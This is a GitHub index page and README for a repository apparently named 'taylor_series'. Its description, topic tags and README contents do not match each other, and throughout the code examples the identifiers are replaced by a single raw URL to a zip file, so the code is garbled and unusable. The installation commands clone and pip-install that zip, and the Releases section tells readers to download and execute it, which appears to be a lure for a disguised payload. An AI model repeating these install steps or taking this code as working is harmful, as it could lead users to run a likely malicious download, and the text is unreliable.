https://github.com/bezehard/taylor_series
The "taylor_series" project provides a simple implementation of Taylor series calculations for various mathematical functions. Users can input a function and a point, and the program will return the Taylor series expansion around that point.
https://github.com/bezehard/taylor_series
c cosine deep-learning ekf logarithm machine-learning matlab scientific-computing secant teaching time-series trilateration uwb vector
Last synced: about 2 months ago
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The "taylor_series" project provides a simple implementation of Taylor series calculations for various mathematical functions. Users can input a function and a point, and the program will return the Taylor series expansion around that point.
- Host: GitHub
- URL: https://github.com/bezehard/taylor_series
- Owner: Bezehard
- Created: 2025-04-04T22:05:18.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-04-04T23:49:09.000Z (about 1 year ago)
- Last Synced: 2025-04-05T00:19:44.499Z (about 1 year ago)
- Topics: c, cosine, deep-learning, ekf, logarithm, machine-learning, matlab, scientific-computing, secant, teaching, time-series, trilateration, uwb, vector
- Language: Jupyter Notebook
- Size: 15.6 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
```markdown
# Taylor Series 🚀
Welcome to the Taylor Series repository! This project focuses on various techniques and models related to polynomial approximations and their applications in natural language processing (NLP) and deep learning.
## Table of Contents
1. [Introduction](#introduction)
2. [Topics Covered](#topics-covered)
3. [Installation](#installation)
4. [Usage](#usage)
5. [Examples](#examples)
6. [Contributing](#contributing)
7. [License](#license)
8. [Releases](#releases)
## Introduction
The Taylor series is a powerful mathematical concept that allows for the approximation of functions using polynomials. In this repository, we explore the Taylor series in the context of machine learning, especially focusing on its application in creating efficient models for various tasks in NLP and data science.
The repository includes implementations using popular frameworks like TensorFlow and PyTorch, covering various neural network architectures such as LSTM networks and seq2seq models. Additionally, we integrate BERT embeddings to enhance the performance of language tasks.
## Topics Covered
This repository focuses on a range of topics that are essential for understanding and applying the Taylor series in machine learning. Key topics include:
- **BERT Embeddings**: Using BERT for natural language understanding.
- **BERT Model**: Implementation and fine-tuning of BERT models.
- **Data Science**: Data handling and preprocessing techniques.
- **Deep Learning**: Foundations and advanced topics in deep learning.
- **LSTM Neural Networks**: Implementation of LSTM networks for sequence prediction.
- **NLP**: Techniques and algorithms in natural language processing.
- **Polynomials**: Understanding polynomial functions and their approximations.
- **Python 3**: The primary language for implementations in this repository.
- **Seq2Seq**: Sequence-to-sequence models for tasks such as translation.
- **Symbolic AI**: Exploring the intersection of symbolic reasoning and neural networks.
## Installation
To get started with the Taylor Series repository, you need to clone it to your local machine. Make sure you have Python 3 installed.
```bash
git clone https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip
cd taylor_series
pip install -r https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip
```
## Usage
After setting up the repository, you can run various scripts provided. Each script demonstrates different functionalities related to the Taylor series and its applications.
Here’s a simple example of how to use the repository:
```python
from taylor_series import TaylorApproximation
# Create a Taylor series approximation of a function
approx = TaylorApproximation(func='sin', order=5)
result = https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip(x=0.5)
print(f'Taylor Series Approximation: {result}')
```
## Examples
We provide several examples to showcase how to use the implementations effectively. Here are a few:
### 1. Taylor Series Approximation of Sine Function
This example demonstrates how to compute the Taylor series approximation of the sine function.
```python
from taylor_series import TaylorApproximation
approx = TaylorApproximation(func='sin', order=10)
for x in range(-10, 11):
print(f'sin({x}) ≈ {https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip(x)}')
```
### 2. BERT Embeddings for Text Classification
This example shows how to use BERT embeddings for a simple text classification task.
```python
from transformers import BertTokenizer, BertModel
import torch
tokenizer = https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip('bert-base-uncased')
model = https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip('bert-base-uncased')
inputs = tokenizer("Hello, this is a test.", return_tensors="pt")
outputs = model(**inputs)
print(outputs)
```
### 3. LSTM for Sequence Prediction
This example demonstrates how to build an LSTM network to predict the next value in a sequence.
```python
import torch
import https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip as nn
class LSTMModel(https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip):
def __init__(self, input_size, hidden_size, num_layers):
super(LSTMModel, self).__init__()
https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip = https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip(input_size, hidden_size, num_layers, batch_first=True)
https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip = https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip(hidden_size, 1)
def forward(self, x):
out, _ = https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip(x)
return https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip(out[:, -1, :])
model = LSTMModel(input_size=1, hidden_size=64, num_layers=2)
```
## Contributing
We welcome contributions to the Taylor Series repository. If you want to contribute, please follow these steps:
1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push to your branch.
5. Submit a pull request.
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## Releases
You can download the latest releases from our [Releases section](https://raw.githubusercontent.com/Bezehard/taylor_series/main/sumpitan/series-taylor-Sufistic.zip). Download the required file and follow the instructions to execute it.
Thank you for checking out the Taylor Series repository! We hope you find it useful for your projects.
```